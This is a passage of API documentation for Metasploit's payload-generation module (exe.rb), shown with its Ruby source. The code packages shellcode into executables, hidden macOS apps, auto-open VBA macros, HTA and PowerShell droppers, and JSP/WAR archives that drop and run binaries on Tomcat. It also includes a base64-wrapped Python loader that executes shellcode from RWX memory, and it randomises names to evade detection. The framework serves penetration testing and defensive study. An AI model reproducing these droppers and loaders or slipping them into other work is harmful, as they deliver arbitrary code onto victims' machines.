      when ARCH_X86,nil
        to_osx_x86_macho(framework, code, exeopts)
      when ARCH_X64
        to_osx_x64_macho(framework, code, exeopts)
      when ARCH_ARMLE
        to_osx_arm_macho(framework, code, exeopts)
      when ARCH_PPC
        to_osx_ppc_macho(framework, code, exeopts)
      end
    end
    fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho
  when 'vba'
    Msf::Util::EXE.to_vba(framework, code, exeopts)
  when 'vba-exe'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    Msf::Util::EXE.to_exe_vba(exe)
  when 'vba-psh'
    Msf::Util::EXE.to_powershell_vba(framework, arch, code)
  when 'vbs'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
  when 'loop-vbs'
    exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
    Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
  when 'jsp'
    arch ||= [ ARCH_X86 ]
    tmp_plat = plat.platforms if plat
    tmp_plat ||= Msf::Module::PlatformList.transform('win')
    exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
    Msf::Util::EXE.to_jsp(exe)
  when 'war'
    arch ||= [ ARCH_X86 ]
    tmp_plat = plat.platforms if plat
    tmp_plat ||= Msf::Module::PlatformList.transform('win')
    exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
    Msf::Util::EXE.to_jsp_war(exe)
  when 'psh'
    Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
  when 'psh-net'
    Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
  when 'psh-reflection'
    Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
  when 'psh-cmd'
    Msf::Util::EXE.to_powershell_command(framework, arch, code)
  when 'hta-psh'
    Msf::Util::EXE.to_powershell_hta(framework, arch, code)
  when 'python-reflection'
    Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts)
  end
end

.to_executable_fmt_formats ⇒ Array

FMT Formats self.to_executable_fmt_formats

Returns:

  • (Array) —

    Returns an array of strings



2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
 
# File 'lib/msf/util/exe.rb', line 2164

def self.to_executable_fmt_formats
  [
    "asp",
    "aspx",
    "aspx-exe",
    "axis2",
    "dll",
    "elf",
    "elf-so",
    "exe",
    "exe-only",
    "exe-service",
    "exe-small",
    "hta-psh",
    "jar",
    "jsp",
    "loop-vbs",
    "macho",
    "msi",
    "msi-nouac",
    "osx-app",
    "psh",
    "psh-cmd",
    "psh-net",
    "psh-reflection",
    "python-reflection",
    "vba",
    "vba-exe",
    "vba-psh",
    "vbs",
    "war"
  ]
end

.to_jar(exe, opts = {}) ⇒ Rex::Zip::Jar

Creates a jar file that drops the provided exe into a random file name in the system’s temp dir and executes it.

Returns:

  • (Rex::Zip::Jar)

See Also:



1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
 
# File 'lib/msf/util/exe.rb', line 1548

def self.to_jar(exe, opts = {})
  spawn = opts[:spawn] || 2
  exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
  zip = Rex::Zip::Jar.new
  zip.add_sub("metasploit") if opts[:random]
  paths = [
    [ "metasploit", "Payload.class" ],
  ]
  zip.add_files(paths, MetasploitPayloads.path('java'))
  zip.build_manifest :main_class => "metasploit.Payload"
  config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
  zip.add_file("metasploit.dat", config)
  zip.add_file(exe_name, exe)

  zip
end

.to_jsp(exe) ⇒ Object 



1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
 
# File 'lib/msf/util/exe.rb', line 1500

def self.to_jsp(exe)
  hash_sub = {}
  hash_sub[:var_payload]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_exepath]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_outputstream]  = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_bytes]         = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_counter]       = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_exe]           = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_proc]          = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_fperm]         = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_fdel]          = Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_exepatharray]  = Rex::Text.rand_text_alpha(rand(8)+8)

  payload_hex = exe.unpack('H*')[0]
  hash_sub[:payload]           = payload_hex

  read_replace_script_template("to_exe.jsp.template", hash_sub)
end

.to_jsp_war(exe, opts = {}) ⇒ String

Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload. The jsp page converts the hexdump back to a normal binary file and places it in the temp directory. The payload file is then executed.

Parameters:

  • exe (String) —

    Executable to drop and run.

  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :jsp_name (String) —

    Name of the <jsp-file> in the archive _without the .jsp extension_. Defaults to random.

  • :app_name (String) —

    Name of the app to put in the <servlet-name> tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to random.

  • :extra_files (Array<String,String>) —

    Additional files to add to the archive. First elment is filename, second is data

Returns:

  • (String)

See Also:



1529
1530
1531
1532
 
# File 'lib/msf/util/exe.rb', line 1529

def self.to_jsp_war(exe, opts = {})
  template = self.to_jsp(exe)
  self.to_war(template, opts)
end

.to_linux_aarch64_elf(framework, code, opts = {}) ⇒ String

self.to_linux_aarch64_elf

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) —

    Returns an elf



1182
1183
1184
 
# File 'lib/msf/util/exe.rb', line 1182

def self.to_linux_aarch64_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_aarch64_linux.bin", code)
end

.to_linux_aarch64_elf_dll(framework, code, opts = {}) ⇒ String

Create a AARCH64 Linux ELF_DYN containing the payload provided in code

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) —

    Returns an elf



1138
1139
1140
 
# File 'lib/msf/util/exe.rb', line 1138

def self.to_linux_aarch64_elf_dll(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_aarch64_linux_dll.bin", code)
end

.to_linux_armle_elf(framework, code, opts = {}) ⇒ String

self.to_linux_armle_elf

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) —

    Returns an elf



1160
1161
1162
 
# File 'lib/msf/util/exe.rb', line 1160

def self.to_linux_armle_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_armle_linux.bin", code)
end

.to_linux_armle_elf_dll(framework, code, opts = {}) ⇒ String

self.to_linux_armle_elf_dll

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) —

    Returns an elf-so



1171
1172
1173
 
# File 'lib/msf/util/exe.rb', line 1171

def self.to_linux_armle_elf_dll(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code)
end

.to_linux_mipsbe_elf(framework, code, opts = {}) ⇒ String

self.to_linux_mipsbe_elf Big Endian

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) —

    Returns an elf



1204
1205
1206
 
# File 'lib/msf/util/exe.rb', line 1204

def self.to_linux_mipsbe_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)
end

.to_linux_mipsle_elf(framework, code, opts = {}) ⇒ String

self.to_linux_mipsle_elf Little Endian

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) —

    Returns an elf



1193
1194
1195
 
# File 'lib/msf/util/exe.rb', line 1193

def self.to_linux_mipsle_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
end

.to_linux_x64_elf(framework, code, opts = {}) ⇒ String

Create a 64-bit Linux ELF containing the payload provided in code

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) —

    Returns an elf



1116
1117
1118
 
# File 'lib/msf/util/exe.rb', line 1116

def self.to_linux_x64_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_x64_linux.bin", code)
end

.to_linux_x64_elf_dll(framework, code, opts = {}) ⇒ String

Create a 64-bit Linux ELF_DYN containing the payload provided in code

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) —

    Returns an elf



1149
1150
1151
 
# File 'lib/msf/util/exe.rb', line 1149

def self.to_linux_x64_elf_dll(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
end

.to_linux_x86_elf(framework, code, opts = {}) ⇒ String

Create a 32-bit Linux ELF containing the payload provided in code

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) —

    Returns an elf



1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
 
# File 'lib/msf/util/exe.rb', line 1034

def self.to_linux_x86_elf(framework, code, opts = {})
  default = true unless opts[:template]

  if default
    elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
  else
    # Use set_template_default to normalize the :template key. It will just end up doing
    # opts[:template] = File.join(opts[:template_path], opts[:template])
    # for us, check if the file exists.
    set_template_default(opts, 'template_x86_linux.bin')

    # If this isn't our normal template, we have to do some fancy
    # header patching to mark the .text section rwx before putting our
    # payload into the entry point.

    # read in the template and parse it
    e = Metasm::ELF.decode_file(opts[:template])

    # This will become a modified copy of the template's original phdr
    new_phdr = Metasm::EncodedData.new
    e.segments.each { |s|
      # Be lazy and mark any executable segment as writable.  Doing
      # it this way means we don't have to care about which one
      # contains .text
      s.flags += [ "W" ] if s.flags.include? "X"
      new_phdr << s.encode(e)
    }

    # Copy the original file
    elf = self.get_file_contents(opts[:template], "rb")

    # Replace the header with our rwx modified version
    elf[e.header.phoff, new_phdr.data.length] = new_phdr.data

    # Replace code at the entrypoint with our payload
    entry_off = e.addr_to_off(e.label_addr('entrypoint'))
    elf[entry_off, code.length] = code
  end

  elf
end

.to_linux_x86_elf_dll(framework, code, opts = {}) ⇒ String

Create a 32-bit Linux ELF_DYN containing the payload provided in code

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) —

    Returns an elf



1127
1128
1129
 
# File 'lib/msf/util/exe.rb', line 1127

def self.to_linux_x86_elf_dll(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)
end

.to_mem_aspx(framework, code, exeopts = {}) ⇒ Object 



1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
 
# File 'lib/msf/util/exe.rb', line 1399

def self.to_mem_aspx(framework, code, exeopts = {})
  # Initialize rig and value names
  rig = Rex::RandomIdentifier::Generator.new()
  rig.init_var(:var_funcAddr)
  rig.init_var(:var_hThread)
  rig.init_var(:var_pInfo)
  rig.init_var(:var_threadId)
  rig.init_var(:var_bytearray)

  hash_sub = rig.to_h
  hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])

  read_replace_script_template("to_mem.aspx.template", hash_sub)
end

.to_osx_app(exe, opts = {}) ⇒ String

self.to_osx_app

Parameters:

  • opts (Hash) (defaults to: {}) —

    The options hash

Options Hash (opts):

  • :exe_name (Hash) — default: random —

    the name of the macho exe file (never seen by the user)

  • :app_name (Hash) — default: random —

    the name of the OSX app

  • :hidden (Hash) — default: true —

    hide the app when it is running

  • :plist_extra (Hash) — default: '' —

    some extra data to shove inside the Info.plist file

Returns:

  • (String) —

    zip archive containing an OSX .app directory



919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
 
# File 'lib/msf/util/exe.rb', line 919

def self.to_osx_app(exe, opts = {})
  exe_name    = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }
  app_name    = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }
  hidden      = opts.fetch(:hidden, true)
  plist_extra = opts.fetch(:plist_extra, '')

  app_name.chomp!(".app")
  app_name += ".app"

  visible_plist = if hidden
    %Q|
    <key>LSBackgroundOnly</key>
    <string>1</string>
    |
  else
    ''
  end

  info_plist = %Q|
    <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>#{exe_name}</string>
<key>CFBundleIdentifier</key>
<string>com.#{exe_name}.app</string>
<key>CFBundleName</key>
<string>#{exe_name}</string>#{visible_plist}
<key>CFBundlePackageType</key>
<string>APPL</string>
#{plist_extra}
</dict>
</plist>
  |

  zip = Rex::Zip::Archive.new
  zip.add_file("#{app_name}/", '')
  zip.add_file("#{app_name}/Contents/", '')
  zip.add_file("#{app_name}/Contents/Resources/", '')
  zip.add_file("#{app_name}/Contents/MacOS/", '')
  # Add the macho and mark it as executable
  zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe).last.attrs = 0o777
  zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
  zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
  zip.pack
end

.to_osx_arm_macho(framework, code, opts = {}) ⇒ String

self.to_osx_arm_macho

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) 


848
849
850
851
852
853
854
855
856
857
 
# File 'lib/msf/util/exe.rb', line 848

def self.to_osx_arm_macho(framework, code, opts = {})

  # Allow the user to specify their own template
  set_template_default(opts, "template_armle_darwin.bin")

  mo = self.get_file_contents(opts[:template])
  bo = self.find_payload_tag(mo, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag")
  mo[bo, code.length] = code
  mo
end

.to_osx_ppc_macho(framework, code, opts = {}) ⇒ String

self.to_osx_ppc_macho

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) 


866
867
868
869
870
871
872
873
874
875
 
# File 'lib/msf/util/exe.rb', line 866

def self.to_osx_ppc_macho(framework, code, opts = {})

  # Allow the user to specify their own template
  set_template_default(opts, "template_ppc_darwin.bin")

  mo = self.get_file_contents(opts[:template])
  bo = self.find_payload_tag(mo, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag")
  mo[bo, code.length] = code
  mo
end

.to_osx_x64_macho(framework, code, opts = {}) ⇒ String

self.to_osx_x64_macho

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) 


902
903
904
905
906
907
908
909
910
 
# File 'lib/msf/util/exe.rb', line 902

def self.to_osx_x64_macho(framework, code, opts = {})
  set_template_default(opts, "template_x64_darwin.bin")

  macho = self.get_file_contents(opts[:template])
  bin = self.find_payload_tag(macho,
          "Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag")
  macho[bin, code.length] = code
  macho
end

.to_osx_x86_macho(framework, code, opts = {}) ⇒ String

self.to_osx_x86_macho

Parameters:

  • framework (Msf::Framework) —

    The framework of you want to use

  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) 


884
885
886
887
888
889
890
891
892
893
 
# File 'lib/msf/util/exe.rb', line 884

def self.to_osx_x86_macho(framework, code, opts = {})

  # Allow the user to specify their own template
  set_template_default(opts, "template_x86_darwin.bin")

  mo = self.get_file_contents(opts[:template])
  bo = self.find_payload_tag(mo, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag")
  mo[bo, code.length] = code
  mo
end

.to_powershell_command(framework, arch, code) ⇒ Object 



1431
1432
1433
1434
1435
1436
1437
1438
 
# File 'lib/msf/util/exe.rb', line 1431

def self.to_powershell_command(framework, arch, code)
  template_path = Rex::Powershell::Templates::TEMPLATE_DIR
  Rex::Powershell::Command.cmd_psh_payload(code,
                  arch,
                  template_path,
                  encode_final_payload: true,
                  method: 'reflection')
end

.to_powershell_hta(framework, arch, code) ⇒ Object 



1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
 
# File 'lib/msf/util/exe.rb', line 1440

def self.to_powershell_hta(framework, arch, code)
  template_path = Rex::Powershell::Templates::TEMPLATE_DIR

  powershell = Rex::Powershell::Command.cmd_psh_payload(code,
                  arch,
                  template_path,
                  encode_final_payload: true,
                  remove_comspec: true,
                  method: 'reflection')

  # Initialize rig and value names
  rig = Rex::RandomIdentifier::Generator.new()
  rig.init_var(:var_shell)
  rig.init_var(:var_fso)

  hash_sub = rig.to_h
  hash_sub[:powershell] = powershell

  read_replace_script_template("to_powershell.hta.template", hash_sub)
end

.to_powershell_vba(framework, arch, code) ⇒ Object

self.to_powershell_vba

Parameters:



1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
 
# File 'lib/msf/util/exe.rb', line 1295

def self.to_powershell_vba(framework, arch, code)
  template_path = Rex::Powershell::Templates::TEMPLATE_DIR

  powershell = Rex::Powershell::Command.cmd_psh_payload(code,
                  arch,
                  template_path,
                  encode_final_payload: true,
                  remove_comspec: true,
                  method: 'reflection')

  # Initialize rig and value names
  rig = Rex::RandomIdentifier::Generator.new()
  rig.init_var(:sub_auto_open)
  rig.init_var(:var_powershell)

  hash_sub = rig.to_h
  # VBA has a maximum of 24 line continuations
  line_length = powershell.length / 24
  vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'

  hash_sub[:powershell] = vba_psh

  read_replace_script_template("to_powershell.vba.template", hash_sub)
end

.to_python_reflection(framework, arch, code, exeopts) ⇒ Object 



1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
 
# File 'lib/msf/util/exe.rb', line 1461

def self.to_python_reflection(framework, arch, code, exeopts)
  unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch
    raise RuntimeError, "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}"
  end
  python_code = <<~PYTHON
    #{Rex::Text.to_python(code)}
    import ctypes,os
    if os.name == 'nt':
     cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf)
     ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
     ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
     ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int]
     ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf)))
     ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
    else:
     import mmap
     from ctypes.util import find_library
     c = ctypes.CDLL(find_library('c'))
     c.mmap.restype = ctypes.c_void_p
     ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0)
     ctypes.memmove(ptr,buf,len(buf))
     c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int]
     c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC)
     ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
  PYTHON

  "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))"
end

.to_solaris_x86_elf(framework, code, opts = {}) ⇒ String

Create a 32-bit Solaris ELF containing the payload provided in code

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})
  • [String] (Hash) —

    a customizable set of options

Returns:

  • (String) —

    Returns an elf



1105
1106
1107
 
# File 'lib/msf/util/exe.rb', line 1105

def self.to_solaris_x86_elf(framework, code, opts = {})
  to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
end

.to_vba(framework, code, opts = {}) ⇒ Object

self.to_vba

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {}) —

    Unused



1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
 
# File 'lib/msf/util/exe.rb', line 1262

def self.to_vba(framework,code,opts = {})
  hash_sub = {}
  hash_sub[:var_myByte]             = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_myArray]            = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_rwxpage]            = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_res]                = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_offset]             = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_dwStackSize]        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpStartAddress]     = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpParameter]        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_dwCreationFlags]    = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpThreadID]         = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpAddr]             = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lSize]              = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_flAllocationType]   = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_flProtect]          = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lDest]              = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_Source]             = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_Length]             = Rex::Text.rand_text_alpha(rand(7)+3).capitalize

  # put the shellcode bytes into an array
  hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])

  read_replace_script_template("to_mem.vba.template", hash_sub)
end

.to_war(jsp_raw, opts = {}) ⇒ String

TODO:

Refactor to return a Rex::Zip::Archive or Rex::Zip::Jar

Creates a Web Archive (WAR) file from the provided jsp code.

On Tomcat, WAR files will be deployed into a directory with the same name as the archive, e.g. foo.war will be extracted into foo/. If the server is in a default configuration, deoployment will happen automatically. See the Tomcat documentation for a description of how this works.

Parameters:

  • jsp_raw (String) —

    JSP code to be added in a file called jsp_name in the archive. This will be compiled by the victim servlet container (e.g., Tomcat) and act as the main function for the servlet.

  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :jsp_name (String) —

    Name of the <jsp-file> in the archive _without the .jsp extension_. Defaults to random.

  • :app_name (String) —

    Name of the app to put in the <servlet-name> tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to random.

  • :extra_files (Array<String,String>) —

    Additional files to add to the archive. First elment is filename, second is data

Returns:

  • (String) 


1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
 
# File 'lib/msf/util/exe.rb', line 1589

def self.to_war(jsp_raw, opts = {})
  jsp_name = opts[:jsp_name]
  jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
  app_name = opts[:app_name]
  app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)

  meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
  manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
  web_xml = %q{<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>NAME</servlet-name>
<jsp-file>/PAYLOAD.jsp</jsp-file>
</servlet>
</web-app>
}
  web_xml.gsub!(/NAME/, app_name)
  web_xml.gsub!(/PAYLOAD/, jsp_name)

  zip = Rex::Zip::Archive.new
  zip.add_file('META-INF/', '', meta_inf)
  zip.add_file('META-INF/MANIFEST.MF', manifest)
  zip.add_file('WEB-INF/', '')
  zip.add_file('WEB-INF/web.xml', web_xml)
  # add the payload
  zip.add_file("#{jsp_name}.jsp", jsp_raw)

  # add extra files
  if opts[:extra_files]
    opts[:extra_files].each {|el| zip.add_file(el[0], el[1])}
  end

  zip.pack
end

.to_win32pe(framework, code, opts = {}) ⇒ String

self.to_win32pe

Parameters:

  • framework (Msf::Framework)
  • code (String)
  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :sub_method (String)
  • :inject, (String) —

    Code to inject into the exe

  • :template (String)
  • :arch, (Symbol) —

    Set to :x86 by default

Returns:

  • (String)

Raises:

  • (RuntimeError) 


223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
 
# File 'lib/msf/util/exe.rb', line 223

def self.to_win32pe(framework, code, opts = {})

  # For backward compatibility, this is roughly equivalent to 'exe-small' fmt
  if opts[:sub_method]
    if opts[:inject]
      raise RuntimeError, 'NOTE: using the substitution method means no inject support'
    end

    # use
    self.to_win32pe_exe_sub(framework, code, opts)
  end

  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_x86_windows.exe")

  # Copy the code to a new RWX segment to allow for self-modifying encoders
  payload = win32_rwx_exec(code)

  # Create a new PE object and run through sanity checks
  pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)

  #try to inject code into executable by adding a section without affecting executable behavior
  if opts[:inject]
    injector = Msf::Exe::SegmentInjector.new({
        :payload  => code,
        :template => opts[:template],
        :arch     => :x86,
        :secname  => opts[:secname]
    })
    return injector.generate_pe
  end

  text = nil
  pe.sections.each {|sec| text = sec if sec.name == ".text"}

  raise RuntimeError, "No .text section found in the template" unless text

  unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
    raise RuntimeError, "The .text section does not contain an entry point"
  end

  p_length = payload.length + 256

  # If the .text section is too small, append a new section instead
  if text.size < p_length
    appender = Msf::Exe::SegmentAppender.new({
        :payload  => code,
        :template => opts[:template],
        :arch     => :x86,
        :secname  => opts[:secname]
    })
    return appender.generate_pe
  end

  # Store some useful offsets
  off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
  off_beg = pe.rva_to_file_offset(text.base_rva)

  # We need to make sure our injected code doesn't conflict with the
  # the data directories stored in .text (import, export, etc)
  mines = []
  pe.hdr.opt['DataDirectory'].each do |dir|
    next if dir.v['Size'] == 0
    next unless text.contains_rva?(dir.v['VirtualAddress'])
    delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg
    mines << [delta, dir.v['Size']]
  end

  # Break the text segment into contiguous blocks
  blocks = []
  bidx   = 0
  mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
    bbeg = bidx
    bend = mine[0]
    blocks << [bidx, bend-bidx] if bbeg != bend
    bidx = mine[0] + mine[1]
  end

  # Add the ending block
  blocks << [bidx, text.size - bidx] if bidx < text.size - 1

  # Find the largest contiguous block
  blocks.sort!{|a,b| b[1]<=>a[1]}
  block = blocks.first

  # TODO: Allow the entry point in a different block
  if payload.length + 256 > block[1]
